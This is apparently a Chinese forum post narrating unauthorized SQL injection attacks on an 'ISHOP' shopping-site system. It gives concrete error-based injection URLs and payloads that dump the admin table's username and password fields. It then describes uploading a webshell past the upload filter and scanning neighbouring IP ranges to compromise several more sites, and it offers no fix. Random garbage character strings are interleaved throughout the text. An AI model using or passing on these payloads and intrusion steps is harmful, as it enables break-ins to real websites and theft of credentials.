ISHOP商场建站系统注入漏洞

admin

发现一个注入点
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389

1 g) p, F9 g. r9 p  a- U0 \& P: O  v习惯性的加’having1=1--
/ J) \: l/ V4 `- e
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
+ ^+ |5 o0 l* e# O/ E3 c0 \2 ^  l
! m' j: ~+ p, o. r# A0
; U" r( m7 O8 g5 \. [
+ a" ?4 X8 g4 O& I2 L$ Z) W- J爆出Diary_A.dl_Title（这时候很激动啊）

那么继续
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—

4 n5 |5 o6 N; ~4 _+ a* D9 D继续，一直爆下去

7 O) ^7 J8 V2 B+ W- K爆到几个字段和表段 但是没找到需要的管理用户的字段

/ x4 g2 q/ S2 @6 k' z; R蛋疼了 怎么办 然后去后台登陆页看源码
3 T" p0 w4 m& q* L% V% O
0
, D* K* l. L7 x# E- a
Input name= “ADUID”
- T# d( B& Q8 x1 C0 x. O. }4 bInput name= “ADPWD”
6 K8 a, n8 s" m4 k1 l) U1 f
很幸运 找到了字段那就继续
找到之后开始爆用户
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—
2 O- W; E! D: v+ t$ ]爆密码
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
2 w4 W0 p8 U! W! M: [' d% N测试了下 这个注入点只能爆到文章哪里的表

" Q7 i/ q/ N$ ]4 a" c+ \头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了

. U/ q9 B5 z6 j( A又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了

7 s6 V! z4 L9 B+ y7 r0 a4 a  ?9 h473

. Y" y. S2 m8 p0 Q进后台
) x" o, L! b2 d7 j$ }1 G, X" N

1 m2 \, t% {$ |发现几个上传点 有的地方不能上传 而且防止恶意代码
' N$ L. }1 E' V4 w
没办法 各种百度各种找大牛 找到一只好像可以突破的马
) [3 k" k" h" Y6 G; l

在系统管理那里直接上传 不过没有显示地址

- D$ o5 R9 K; h  \& ?6 u再上传一次 抓包 搞定OK



472

7 ^! B$ U7 f; B$ H* \1 L晚上不行了 去睡觉。。。
第二天刚起床 闲的没事做继续日站吧
/ h) _7 \6 |- b) V/ P. Z# j$ s0 {
! y" v" Q% C; H' J找个站 就把这个站的旁c扫了下

发现c段也有一个购物站 ，然后还和这个站的模板差不多
; Q4 y% {4 S0 J! _
就找到会员登录口测试

: U: ?6 ~6 s/ _( N# b'and (select top 1 MGR_UID from A_MGR)>0—
; q+ a, U5 p/ f3 t# v果断爆到了 这时候我很激动 通杀

再次翻c段
& U3 U7 x9 E' s# ~4 }5 p
翻出几个站 都成功拿下
: r5 H+ q$ T1 v4 o9 q" g


修复方案：
他们比我专业
' j  x/ A" e3 g" n4 l* j8 I​

- z3 `. v: o% ?7 C% j1 i0 i1 Q, {4 o
# ^& [) X, ~9 Y/ B: y+ z, `. e